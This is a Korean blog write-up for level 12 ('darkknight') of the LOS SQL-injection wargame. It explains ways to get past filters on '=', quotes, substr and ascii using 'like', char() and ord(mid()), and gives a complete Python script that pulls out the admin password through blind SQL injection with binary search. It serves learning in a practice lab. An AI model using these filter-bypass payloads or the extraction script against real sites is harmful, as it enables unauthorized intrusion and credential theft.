레벨 12번 darkknight 풀이
제시문제
※ url에 ?를 쓰면 query를 날릴 수 있다.
쿼리문으로 유추할 수 있는 부분
1. 직접 password를 알아내야한다. > 자동화 코드
2. Ascii, substr, =, ' 등을 사용할 수 없다. >ord(mid()) like 1 로 우회
3. no 부분에 '사용이 필요없어 우회가 가능하다.
4. id='admin' 시 =와 ' 쓰임이 불가능하다. id like char()로 우회
param = {"pw":"1","no":"1 or id like char(97,100,109,105,110) and ord(mid(pw, {}, 1)) > {} # ".format(i+1, value)}
req = requests.get(url, params=param, cookies=cookie)
파라미터가 두부분이기때문에 pw 와 no를 나누어주고 필처링되는 부분을 각각 우회한다.
추가된 부분이 많다보니 헷갈리는 부분도 있어서 자동화코드 전문을 첨부한다.
import requests
url = "https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?"
cookie = {'PHPSESSID': '914av7or930ikd3rbb5l9p2c0a'}
def find_length():
pwlength = 1
while True:
param = {"pw":"1","no":"1 or length(pw) like {}".format(pwlength)}
req = requests.get(url, params=param, cookies=cookie)
if "Hello admin" in req.text:
return pwlength
else:
pwlength += 1
print(pwlength)
def find_pw():
length = find_length()
print(length)
password = ""
for i in range(length):
s= 1
e= 127
value = 64
while True:
param = {"pw":"1","no": "1 or id like char(97,100,109,105,110) and ord(mid(pw, {}, 1)) like {} # ".format(i+1, value)}
print(param)
req=requests.get(url,params=param,cookies=cookie)
print(req.text)
if "Hello admin" in req.text:
password += chr(value)
break
else:
param = {"pw":"1","no":"1 or id like char(97,100,109,105,110) and ord(mid(pw, {}, 1)) > {} # ".format(i+1, value)}
req = requests.get(url, params=param, cookies=cookie)
if "Hello admin" in req.text:
s=value
value = (value+e) //2
else:
e=value
value = (s+value) //2
print("비밀번호는: ", password)
find_pw()
'Wargame' 카테고리의 다른 글
[LOS] 14번 giant 문제 풀이 (0) | 2022.01.19 |
---|---|
[LOS] 13번 bugbear 문제 풀이 (1) | 2022.01.18 |
[LOS] 11번 golem 문제 풀이 (0) | 2022.01.17 |
[LOS] 10번 skeleton 문제 풀이 (0) | 2022.01.17 |
[LOS] 9번 vampire 문제 풀이 (0) | 2022.01.17 |